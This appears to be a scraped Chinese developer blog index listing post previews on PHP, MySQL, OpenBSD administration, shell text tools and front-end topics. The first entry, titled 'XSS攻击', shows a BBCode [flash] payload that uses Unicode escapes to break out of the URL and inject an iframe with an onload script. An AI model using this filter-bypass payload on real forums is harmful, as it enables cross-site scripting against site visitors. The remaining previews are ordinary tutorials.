- 博客(26)
- 收藏
- 关注
原创 XSS攻击
[flash]http://1.com\u0022\u003e\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u002f\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e/1.swf[/flash]
2014-07-23 16:21:38
154
原创 [转]String,StringBuffer与StringBuilder的区别??
String 字符串常量StringBuffer 字符串变量(线程安全)StringBuilder 字符串变量(非线程安全) 简要的说, String 类型和 StringBuffer 类型的主要性能区别其实在于 String 是不可变的对象, 因此在每次对 String 类型进行改变的时候其实都等同于生成了一个新的 String 对象,然后将指针指向新的 String 对象,所以经常改变内容的...
2013-08-19 14:30:58
144
原创 关于Awstats的每次参观所花时间
Awstats是一个免费非常简洁而且强大有个性的网站日志分析工具。其中有一项是每次参观所花时间,对这一项一直很不明白,这个参观时间是如何统计的?自己总结下,Awstats会以一定的时间(测试时是使用1个小时)为间隔,如果一个新的IP地址第一次访问开始计算,在这段时间段内没有产生了访问,那么每次参观所花时间是以第一次和最后一次访问的时间差;如果产生了访问的话,就需要从上一次的访问时间重新计算...
2013-05-18 10:32:08
296
1
原创 简单工厂模式与策略模式
简单工厂模式是属于创建型模式,简单工厂模式是由一个工厂对象决定创建出哪一种产品类的实例。简单工厂模式是工厂模式家族中最简单实用的模式,可以理解为是不同工厂模式的一个特殊实现。(图片来自百度百科)//抽象类abstract class AbsClass{ //抽象方法:提供一些列的算法操作 public abstract void returnCash(string...
2013-04-11 23:03:05
146
原创 php内存缓存技术
在很多场合,都会听到 memcached 这个名字,但是只是听过,并没有用过或实际了解过,只知道它是一个很不错的东东。这里简单介绍一下,memcached 是高效、快速的分布式内存对象缓存系统,主要用于加速 WEB 动态应用程序。 最近新学习了下memcached首先是下载 memcached,windows和linux版的都有,运行 memcached 守护程序很简单,只需一个命令行即可...
2013-02-24 15:36:38
109
php ob_start输出缓冲区是可堆叠性探究
关于ob_start的作用在此不做过多描述,网上很多。请看下面的小程序(在看之前,说明一下,在php.ini中设置output_buffering=on)<?phpob_start();echo str_repeat(' ', 1000); //Chrome和FF缓存1000Bytes,这里用来先将...
2012-12-29 14:37:02
117
原创 IE6下z-index经常不起作用bug的细分析
这是一个在鑫空间里转过来一篇文章,作者写的很详细,很给力,不感独享。一、匆匆带过的概念关于CSS中层级z-index的定义啊什么的不是本文的重点,不会花费过多篇幅详细讲述。这里就简单带过,z-index伴随着层的概念产生的。网页中,层的概念与photoshop或是flash中层的概念是一致的。熟悉photoshop或是flash的应该知道,层级越高(图层越靠上),越在上面显示,如果层发生重叠,...
2012-03-01 12:01:02
114
原创 OpenBSD内核编译
OpenBSD内核配置http://www.loveunix.net/thread-43893-1-1.html 默认安装情况下,OpenBSD是不安装源代码书和内核源代码的。你可以在安装完成之后手工安装。如果你的安装CDROM上有的话,那么可以直接拷贝sys.tar.gz;如果没有的话,可以进入系统,然后连接Internet下载和安装官方网站上的当前版本源代码:[omni^3]# ftp ftp...
2012-02-27 16:11:29
1235
原创 linux中grep和egrep的用法
1. grep简介grep (global search regular expression_r(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。Unix的grep家族包括grep、egrep和fgrep。egrep和fgrep的命令只跟gre...
2012-02-22 16:50:33
230
原创 sed命令详解
1.简介sed是非交互式的编辑器。它不会修改文件,除非使用shell重定向来保存结果。默认情况下,所有的输出行都被打印到屏幕上。sed编辑器逐行处理文件(或输入),并将结果发送到屏幕。具体过程如下:首先sed把当前正在处理的行保存在一个临时缓存区中(也称为模式空间),然后处理临时缓冲区中的行,完成后把该行发送到屏幕上。sed每处理完一行就将其从临时缓冲区删除,然后将下一行读入,进行处...
2012-02-22 10:54:07
99
原创 AWK命令介绍
awk语言的最基本功能是在文件或字符串中基于指定规则浏览和抽取信息,awk抽取信息后,才能进行其他文本操作,完整的awk脚本通常用来格式化文本文件中的信息 1. 调用awk: 第一种命令行方式,如: awk [-Field-separator] 'commands' input-file(s) 这里commands是真正的awk命令,[-F域分...
2012-02-21 17:58:03
138
原创 CUT命令
【功能】cut命令用于从文件或者标准输入中读取内容并截取每一行的特定部分并送到标准输出。cut命令主要是接受三个定位方法:第一,字节(bytes),用选项-b第二,字符(characters),用选项-c第三,域(fields),用选项-f例:一,按字节cut:注意:一个空格算一个字节,一个汉字算三个字节[root@localhost ~]# date2011年08月11日 星期四20:44:52...
2012-02-21 17:51:38
211
原创 stty 命令
UNIX系统的命令很多,下面讲解stty. 该命令是一个用来改变并打印终端行设置的常用命令。1.stty(set tty,设置tty)命令用于检查和修改当前注册的终端的通信参数。UNIX系统为键盘的输入和终端的输出提供了重要的控制手段,可以通过stty命令对特定终端或通信线路设置选项。可以在stty命令中使用-a查看当前注册终端的设置情况。$ stty -aSpeed 9600 baud...
2012-02-20 17:46:00
98
原创 提高 MySql查询性能-打开和设置查询缓存
从 MySQL4开始,出现了QueryCache查询缓存, 如果使用了QueryCache,当查询接收到一个和之前同样的查询, 服务器将会从查询缓存种检索结果,而不是再次分析和执行上次的查询。 这样就大大提高了性能,节省时间,非常有用。 打开查询缓存,是通过几个步骤来设从 MySQL4开始,出现了QueryCache查询缓存, 如果使用了QueryCache,当查询接收到一个和...
2012-02-13 17:08:52
118
原创 MYSQL优化与show命令
show命令a. show tables或show tables from database_name; -- 显示当前数据库中所有表的名称b. show databases; -- 显示mysql中所有数据库的名称c. show columns from table_name from database_name; 或show columns from database_name.tabl...
2012-02-13 17:06:48
149
原创 PHP __autoload
(1) autoload机制概述在使用PHP的OO模式开发系统时,通常大家习惯上将每个类的实现都存放在一个单独的文件里,这样会很容易实现对类进行复用,同时将来维护时也很便利。这也是OO设计的基本思想之一。在PHP5之前,如果需要使用一个类,只需要直接使用include/require将其包含进来即可。下面是一个实际的例子:/* Person.class.php */<...
2012-02-13 16:45:56
267
原创 PHP Strict Standards错误
在部署项目时出现:Strict standards: Declaration of ... should be compatible with that of ...错误,我使用的是php 5.3.3<?phpabstract class A {// 方法无参数public static function foo(){ echo 'bar'; }}abstract cl...
2012-02-03 11:48:57
234
防盗链的原理与实现
要实现防盗链,我们就必须先理解盗链的实现原理,提到防盗链的实现原理就不得不从HTTP协议说起,在HTTP协议中,有一个表头字段叫referer,采用URL的格式来表示从哪儿链接到当前的网页或文件。换句话说,通过referer,网站可以检测目标网页访问的来源网页,如果是资源文件,则可以跟踪到显示它的网页地址。有了referer跟踪来源就好办了,这时就可以通过技术手段来进行处理,一旦检测到...
2012-01-11 15:57:08
398
原创 jQuery对象与dom对象的联系、区别和转换
1 、关于页面元素的引用通过jquery 的$() 引用元素包括通过id 、class 、元素名以及元素的层级关系及dom 或者xpath 条件等方法,且返回的对象为jquery 对象(集合对象),不能直接调用dom 定义的方法。2 、jQuery 对象与dom 对象的转换只有jquery 对象才能使用jquery 定义的方法。注意dom 对象和jquery 对象是有区别的,调用方法时...
2011-07-29 18:27:08
102
《OpenBSD手册》crontab命令
服务器需要定时处理一些任务,一般Windows有自带的任务计划,OpenBSD可以利用的crontab来处理,可以精确到分钟。引用crond 是linux用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。crond命令每分锺会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。而linux任务调度的工作主要分为以下两类:1、系统执行的工...
2011-07-21 10:04:45
312
原创 Openbsd /home /var 对调
转载自:http://www.dugoo.net/wordpress/?p=142/var 原做系统没有考虑到/var会不够用的 分得太小了! /home 分得比较大,是/var的好几倍不想有大的动作,而且reboot后,马上可以用就只有这个方案比较保险!!马上动手:su成root, 先把/home原有的文件 汇总一下!! 把/var 的文件全拷到/home下...
2011-07-21 09:38:49
99
原创 【转】 删除mysql的日志
转载自 afantihome最终编辑 afantihomemysql如果保留日志的话,时间长了,会产生很多日志,很占空间,可以用以下方法删除:show master logs;reset master;show master logs;就ok了。=========================================mysql> show master log...
2011-07-21 08:24:30
177
原创 MySql创建Range分区
在MySQL中,支持对表创建分区,主要的分区类型有Range分区、List分区、Hash分区、Key分区和子分区。 最近在项目中使用到Range分区,将数据表进行了分区;Range分区基于属于一个给定连续区间的列值,把多行分配给分区。每个分区包含那些分区表达式的值位于一个给定的连续区间内的行。这些区间要连续且...
2011-07-20 11:38:48
500
A6记录和AAAA记录
最近在做DNS,偶然间注意到A6和AAAA都支持IPV6地址,于是查了一些资料。AAAA记录,支持老板的IPV6软件,A6记录比AAAA记录更灵活,同时也会更复杂一些
2011-07-06 09:04:06
1457
原创 PHP操作Mysql数据库记录操作函数
数据库记录操作函数(5个): 1、mysql_fetch_array() 格式:array mysql_fetch_array(int query); 执行成功,返回1个数组,该数组保存有下一条记录的值,如执行失败,则返回False值。 返回的数组既可以用下标来表示,也可以用字段名来表示。 例子: <?php $...
2011-03-06 16:38:31
102
原创 PHP中::、->、self、$this操作符的区别
在访问PHP类中的成员变量或方法时,如果被引用的变量或者方法被声明成const(定义常量)或者static(声明静态),那么就必须使用操作符::,反之如果被引用的变量或者方法没有被声明成const或者static,那么就必须使用操作符->。另外,如果从类的内部访问const或者static变量或者方法,那么就必须使用自引用的self,反之如果从类的内部访问不为const或者static变量...
2011-03-06 16:37:40
91
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人